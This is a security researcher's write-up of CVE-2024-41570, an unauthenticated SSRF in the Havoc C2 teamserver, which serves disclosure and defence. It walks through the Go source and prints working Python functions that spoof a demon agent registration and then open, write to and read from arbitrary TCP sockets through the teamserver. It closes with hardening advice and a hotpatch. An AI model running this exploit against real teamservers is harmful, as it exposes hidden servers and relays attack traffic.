Unauthenticated SSRF (CVE-2024-41570) on Havoc C2 teamserver via spoofed demon agent
PoC: https://github.com/chebuya/Havoc-C2-SSRF-poc
Summary
Havoc C2 is a modern and malleable post-exploitation command and control framework targetting windows systems utilized by red teamers and threat actors alike. While auditing the codebase, I was able to discover a vulnerability in which unauthenticated attackers could create a TCP socket on the teamserver with an arbitrary IP/port, and read and write traffic through the socket. By exploiting this vulnerability, attackers could leak the origin IP of a teamserver behind public redirectors (attribution), abuse vulnerable teamservers as a redirector (misattribution) and route traffic through any listening socks proxies on the teamserver.
Understanding the demon agent callback handling
In Havoc, the default agent is called a Demon. Havoc’s malleable design requires that each type of agent has an associated handler, which is backend code responsible for parsing and processing agent callbacks. The attack surface of these handlers will be exposed when the C2 operators create a listener, which is generally over HTTP/HTTPS. These listeners will generally be exposed on an associated port (80/443) on the teamserver itself or on a publicly accessible redirector.
Let’s begin by tracing the code flow to the initial demon agent registration
Upon starting of the teamserver or addition of new listeners, the ListenerStart
function will configure and start the listeners. We can see at the bottom of this snippet, a Start()
function is called.
func (t *Teamserver) ListenerStart(ListenerType int, info any) error {
...
switch ListenerType {
case handlers.LISTENER_HTTP:
var HTTPConfig = handlers.NewConfigHttp()
var config = info.(handlers.HTTPConfig)
HTTPConfig.Config = config
HTTPConfig.Config.Secure = config.Secure
// HTTPConfig.RoutineFunc = Functions
HTTPConfig.Teamserver = t
HTTPConfig.Start()
In the Start()
function, we can observe that any POST requests will be mapped to the h.request
function.
func (h *HTTP) Start() {
logger.Debug("Setup HTTP/s Server")
if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" {
logger.Error("HTTP Hosts/Port/Name not set")
return
}
h.GinEngine.POST("/*endpoint", h.request)
...
In the h.request
function, we can see the post body being read into the Body
variable and guardrail checks on the path and User-Agent being performed (these can be obtained by analyzing the demon binary, its traffic or brute forcing them based off public c2 profiles). If the request passes these checks, the Body
variable will be passed to the parseAgentRequest
function
func (h *HTTP) request(ctx *gin.Context) {
var ExternalIP string
var MissingHdr string
Body, err := io.ReadAll(ctx.Request.Body)
if err != nil {
logger.Debug("Error while reading request: " + err.Error())
}
...
// check that the URI is defined on the profile
if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") {
valid = false
for _, Uri := range h.Config.Uris {
if ctx.Request.RequestURI == Uri {
valid = true
break
}
}
if valid == false {
logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI))
h.fake404(ctx)
return
}
}
// check that the User-Agent is valid
if h.Config.UserAgent != "" {
if h.Config.UserAgent != ctx.Request.UserAgent() {
logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent()))
h.fake404(ctx)
return
}
}
...
if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success {
_, err := ctx.Writer.Write(Response.Bytes())
if err != nil {
logger.Debug("Failed to write to request: " + err.Error())
h.fake404(ctx)
return
}
} else {
logger.Warn("failed to parse agent request")
h.fake404(ctx)
return
}
ctx.AbortWithStatus(http.StatusOK)
return
}
In the parseAgentRequest
function, we can observe the agent header being parsed out of the POST data (more on how this works below), and subsequent checks for the magic bytes. The magic bytes are used to determine if the agent callback belongs to a demon agent or a 3rd party agent. The DEMON_MAGIC_VALUE is 0xdeadbeef, and with that being public we should not have much trouble getting to this point.
func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) {
var (
Header agent.Header
Response bytes.Buffer
err error
)
Header, err = agent.ParseHeader(Body)
if err != nil {
logger.Debug("[Error] Header: " + err.Error())
return Response, false
}
if Header.Data.Length() < 4 {
return Response, false
}
// handle this demon connection if the magic value matches
if Header.MagicValue == agent.DEMON_MAGIC_VALUE {
return handleDemonAgent(Teamserver, Header, ExternalIP)
}
// If it's not a Demon request then try to see if it's a 3rd party agent.
return handleServiceAgent(Teamserver, Header, ExternalIP)
}
Inspecting the ParseHeader
function, we can see multiple calls to ParseInt32()
. This function will read 4 bytes of the data in the Parser
object, and subsequent calls will read the next 4 bytes of the data. So the first 4 bytes of the POST body are read into the Header.Size
field, bytes[4:8] are read into the Header.MagicValue
, and bytes[8:12] are read into the Header.AgentID
field. bytes[12:] are assigned to the Header.Data
field.
func ParseHeader(data []byte) (Header, error) {
var (
Header = Header{}
Parser = parser.NewParser(data)
)
if Parser.Length() > 4 {
Header.Size = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse package size")
}
if Parser.Length() > 4 {
Header.MagicValue = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse magic value")
}
if Parser.Length() > 4 {
Header.AgentID = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse agent id")
}
Header.Data = Parser
return Header, nil
}
If the parsed magic value matches 0xdeadbeef within the parseAgentRequest
function, we can observe the Header
variable being passed to the handleDemonAgent
function. We can see that if the AgentID is not found to exist, we take another branch to handle agent registration attempts. The teamserver will read bytes[12:16] into the Command
variable, which will be compared against DEMON_INIT
which is a constant value of 99. If this is the case, we can observe the Agent
struct being created by the ParseDemonRegisterRequest
function. The ParseDemonRegisterRequest
is passed the AgentID
(bytes[8:12]) and Header.Data
(bytes[16:])
func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {
...
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
} else {
logger.Debug("Agent does not exists. hope this is a register request")
var (
Command = Header.Data.ParseInt32()
)
/* TODO: rework this. */
if Command == agent.DEMON_INIT {
// RequestID, unused on DEMON_INIT
Header.Data.ParseInt32()
Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP)
if Agent == nil {
return Response, false
}
Agent.Info.MagicValue = Header.MagicValue
Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */
Teamserver.AgentAdd(Agent)
Teamserver.AgentSendNotify(Agent)
...
Within the ParseDemonRegisterRequest
function, we can see the first couple of reads from the Parser
variable are the AESKey
and AESIv
variables. The demon agent will encrypt everything after these two variables, so the rest of the bytes in the Parser
variable are decrypted before the function continues. After the decryption call, we can observe multiple Parser
calls to ParseInt32()
, ReadInt64()
and ReadBytes()
which will extract the rest of the registration information. After all the registration information is read, the Session
variable will be returned and after which, if you refer to the handleDemonAgent
function, we can observe that after ParseDemonRegisterRequest
is called, the newly created agent is added to the teamserver agents array.
func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent {
...
if Parser.Length() >= 32+16 {
var Session = &Agent{
Encryption: struct {
AESKey []byte
AESIv []byte
}{
AESKey: Parser.ParseAtLeastBytes(32),
AESIv: Parser.ParseAtLeastBytes(16),
},
Active: false,
SessionDir: "",
Info: new(AgentInfo),
}
// check if there is aes key/iv.
if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 {
Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv)
}
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {
DemonID = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID))
if AgentID != DemonID {
if AgentID != 0 {
logger.Debug("Failed to decrypt agent init request")
return nil
}
} else {
logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID))
}
Hostname = Parser.ParseString()
Username = Parser.ParseString()
DomainName = Parser.ParseString()
InternalIP = Parser.ParseString()
if ExternalIP != "" {
Session.Info.ExternalIP = ExternalIP
}
...
ProcessName = Parser.ParseUTF16String()
ProcessPID = Parser.ParseInt32()
ProcessTID = Parser.ParseInt32()
ProcessPPID = Parser.ParseInt32()
ProcessArch = Parser.ParseInt32()
Elevated = Parser.ParseInt32()
BaseAddress = Parser.ParseInt64()
...
OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}
OsArch = Parser.ParseInt32()
SleepDelay = Parser.ParseInt32()
SleepJitter = Parser.ParseInt32()
KillDate = Parser.ParseInt64()
WorkingHours = int32(Parser.ParseInt32())
...
Session.Active = true
Session.NameID = fmt.Sprintf("%08x", DemonID)
Session.Info.MagicValue = MagicValue
Session.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05")
Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05")
Session.Info.Hostname = Hostname
Session.Info.DomainName = DomainName
Session.Info.Username = Username
Session.Info.InternalIP = InternalIP
Session.Info.SleepDelay = SleepDelay
Session.Info.SleepJitter = SleepJitter
Session.Info.KillDate = KillDate
Session.Info.WorkingHours = WorkingHours
...
Session.Info.OSVersion = getWindowsVersionString(OsVersion)
...
process := strings.Split(ProcessName, "\\")
Session.Info.ProcessName = process[len(process)-1]
Session.Info.ProcessPID = ProcessPID
Session.Info.ProcessTID = ProcessTID
Session.Info.ProcessPPID = ProcessPPID
Session.Info.ProcessPath = ProcessName
Session.Info.BaseAddress = BaseAddress
Session.BackgroundCheck = false
...
return Session
...
Why do we even care about registering an agent? Well, if you refer to the parseAgentRequest
function, we can see execution being passed to another branch if the agent exists. So once we register an agent, anything under the first branch will be accessible for attacking. This is like having a web application with open registration.
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
} else {
logger.Debug("Agent does not exists. hope this is a register request")
So, to simulate an agent registration, we need to craft a POST request with a body in the following structure:
[ SIZE ] 4 bytes
[ Magic Value ] 4 bytes
[ Agent ID ] 4 bytes
[ COMMAND ID ] 4 bytes
[ Request ID ] 4 bytes
[ AES KEY ] 32 bytes
[ AES IV ] 16 bytes
AES Encrypted {
[ Agent ID ] 4 bytes <-- this is needed to check if we successfully decrypted the data
[ Host Name ] size + bytes
[ User Name ] size + bytes
[ Domain ] size + bytes
[ IP Address ] 16 bytes?
[ Process Name ] size + bytes
[ Process ID ] 4 bytes
[ Parent PID ] 4 bytes
[ Process Arch ] 4 bytes
[ Elevated ] 4 bytes
[ Base Address ] 8 bytes
[ OS Info ] ( 5 * 4 ) bytes
[ OS Arch ] 4 bytes
..... more
}
In the exploit, registering an agent looks something like this:
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://TARGET"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MATRIX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
Now that we have successfully registered the agent, we can hit anything behind the Teamserver.AgentExist(Header.AgentID)
check. Let’s trace the flow to the SSRF sink. Looking at the other branch within the parseAgentRequest
function, we can see that the Command
variable is parsed from the Header.Data
, and a subsequent call to DecryptBuffer
is observed. After these lines, we can see that the Agent.TaskDispatch
function is called if the Command
variable is set to COMMAND_GET_JOB
(0x01)
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
/* get our agent instance based on the agent id */
Agent = Teamserver.AgentInstance(Header.AgentID)
Agent.UpdateLastCallback(Teamserver)
// while we can read a command and request id, parse new packages
first_iter := true
asked_for_jobs := false
for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
Command = uint32(Header.Data.ParseInt32())
RequestID = uint32(Header.Data.ParseInt32())
/* check if this is a 'reconnect' request */
if Command == agent.DEMON_INIT {
...
}
if first_iter {
first_iter = false
// if the message is not a reconnect, decrypt the buffer
Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv)
}
/* The agent is sending us the result of a task */
if Command != agent.COMMAND_GET_JOB {
Parser := parser.NewParser(Header.Data.ParseBytes())
Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
} else {
asked_for_jobs = true
}
}
The TaskDispatch
function is responsible for serving tasks the operator issues from the client to the agents to execute. Since we cannot force the operator to issue a new task, I was interested in auditing paths under this function that don’t require the operator to issue a task to hit - and especially those that had some kind of abusable functionality. We can see in the first section of this function, there is a call to the IsKnownRequestID
function. If this function returns false, we will be rejected by the teamserver.
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
Looking at the IsKnownRequestID
function, we can see at the bottom the code iterates through the agent task slice and will return true
if there is a task RequestID
that matches the one we sent. Since the RequestID
is an unsigned 32 bit integer, we have no hope for brute forcing a correct RequestID
, and since we have no access to the operator interface, we cannot generate a valid RequestID
. However, we can see 3 additional checks beforehand that will return true irregardless of the RequestID
(and thus, irregardless if the C2 operator issued the task or not)
// check that the request the agent is valid
func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {
// some commands are always accepted because they don't follow the "send task and get response" format
switch CommandID {
case COMMAND_SOCKET:
return true
case COMMAND_PIVOT:
return true
}
if teamserver.SendLogs() && CommandID == BEACON_OUTPUT {
// if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs
return true
}
for i := range a.Tasks {
if a.Tasks[i].RequestID == RequestID {
return true
}
}
return false
}
We note that the following CommandID
s will be processed by the teamserver even if there is no matching task issued.
COMMAND_SOCKET
COMMAND_PIVOT
BEACON_OUTPUT
Looking further down in the TaskDispatch
function, we can see a switch statement followed by a case for each of our CommandID
s
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
switch CommandID {
case COMMAND_GET_JOB:
...
case COMMAND_OUTPUT:
case BEACON_OUTPUT: // We can reach this
case COMMAND_INJECT_DLL:
...
case COMMAND_PIVOT: // We can reach this
case COMMAND_TRANSFER:
case COMMAND_SOCKET: // We can reach this
case COMMAND_KERBEROS:
...
Let’s look at the COMMAND_SOCKET
case, in which the vulnerability exists. We can see that a SubCommand
variable is read, and another switch statement begins. This appears to be part of the demon’s rportfwd/socks proxy capabilities and has been left unprotected!
case COMMAND_SOCKET:
var (
SubCommand = 0
Message map[string]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand {
case SOCKET_COMMAND_RPORTFWD_ADD:
case SOCKET_COMMAND_RPORTFWD_LIST:
case SOCKET_COMMAND_RPORTFWD_REMOVE:
case SOCKET_COMMAND_RPORTFWD_CLEAR:
case SOCKET_COMMAND_SOCKSPROXY_ADD:
case SOCKET_COMMAND_OPEN:
case SOCKET_COMMAND_READ:
case SOCKET_COMMAND_WRITE:
case SOCKET_COMMAND_CLOSE:
case SOCKET_COMMAND_CONNECT:
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand))
}
Looking at the SOCKET_COMMND_OPEN
case, we can see that a few variables that look to be related to creation of a socket are read from the Parser
. Further down, we observe a call to PortFwdNew
with these newly created variables.
case SOCKET_COMMAND_OPEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
)
SocktID = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
FwdString = common.Int32ToIpString(int64(FwdAddr))
FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort)
if Socket := a.PortFwdGet(SocktID); Socket != nil {
/* Socket already exists. don't do anything. */
logger.Debug("Socket already exists")
return
}
/* add this rportfwd */
a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)
/* we will open the rportfwd client only after we have something to write */
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID))
}
break
In the PortFwdNew
function, we see that a &PortFwd
struct is created with the parameters passed in, and is added to the agent PortFwds
slice
func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) {
var portfwd = &PortFwd{
Conn: nil,
SocktID: SocketID,
LclAddr: LclAddr,
LclPort: LclPort,
FwdAddr: FwdAddr,
FwdPort: FwdPort,
Target: Target,
}
a.PortFwdsMtx.Lock()
a.PortFwds = append(a.PortFwds, portfwd)
a.PortFwdsMtx.Unlock()
}
The case that actually opens the socket is SOCKET_COMMAND_READ
. Looking at the code, we can see that the SocketID
variable is read from the Parser
and is eventually passed to the PortFwdOpen
function after passing a few checks on some other variables.
case SOCKET_COMMAND_READ:
/* if we receive the SOCKET_COMMAND_READ command
* that means that we should read the callback and send it to the forwared host/socks proxy */
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = Parser.ParseInt32()
Type = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
if Success == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var(
Data = Parser.ParseBytes()
)
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data)))
if Type == SOCKET_TYPE_CLIENT {
/* we only open rportfwd clients once we have data to write */
opened, err := a.PortFwdIsOpen(SocktID)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "")
return
}
/* if first time, open the client */
if opened == false {
err := a.PortFwdOpen(SocktID)
if err != nil {
logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
return
}
}
The PortFwdOpen
function does what one would expect: it retrieves the PortFwd
struct that was created in the PortFwdNew
function and passes it to a net.Dial
call. This will create the TCP socket on the teamserver. Performing this from python code looks something like this:
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
Now that we see how the socket gets opened, let’s show how we can write to it. We can see that after the call to PortFwdOpen
, there is a PortFwdWrite
call that occurs, passing the SocketID
of our newly created socket and a Data
variable which was read by the Parser
. The PortFwdWrite
function will retrieve our socket by the SocketID
and write the Data
to it.
/* if first time, open the client */
if opened == false {
err := a.PortFwdOpen(SocktID)
if err != nil {
logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
return
}
}
/* write the data to the forwarded host */
err = a.PortFwdWrite(SocktID, Data)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "")
return
}
In python code, writing to the socket looks like this:
def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)
After the PortFwdWrite
call, we can see that a goroutine is started in which response data will be read from the socket and placed into a job
struct and added to the agent queue. To retrieve the response data, we will need to spoof another demon checkin to retrieve the job off the agent queue.
if opened == false {
/* after we managed to open a socket to the forwarded host lets start a
* goroutine where we read the data from the forwarded host and send it to the agent. */
go func() {
for {
Data, err := a.PortFwdRead(SocktID)
if err == nil {
/* only send the data if there is something... */
if len(Data) > 0 {
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_WRITE,
SocktID,
Data,
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
To retrieve a job, let’s go back to the handleDemonAgent
function. We can see that if the Command
variable is COMMAND_GET_JOB
, we will pass the TaskDispatch
and the teamserver will perform a length check on the JobQueue
. If there are jobs for our agent, we can see a payload being built and written as a response.
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
...
/* The agent is sending us the result of a task */
if Command != agent.COMMAND_GET_JOB {
Parser := parser.NewParser(Header.Data.ParseBytes())
Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
} else {
asked_for_jobs = true
}
}
/* if there is no job then just reply with a COMMAND_NOJOB */
if asked_for_jobs == false || len(Agent.JobQueue) == 0 {
...
} else {
/* if there is a job then send the Task Queue */
var (
job = Agent.GetQueuedJobs()
payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv)
)
// write the response to the buffer
_, err = Response.Write(payload)
Spoofed job retrieval looks something like this in python code. This completes our unauthenticated full read SSRF!
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())
Takeaways
Authenticate your beacons
Apply heavy network restrictions on your teamserver (especially if you are running it on prem because someone can leak your IP)
Hotpatch
To hotpatch your teamserver:
- Navigate to the Havoc directory
- Run the command
sed -i '/case COMMAND_SOCKET:/,/return true/d' teamserver/pkg/agent/agent.go
- Rebuild the teamserver
make ts-build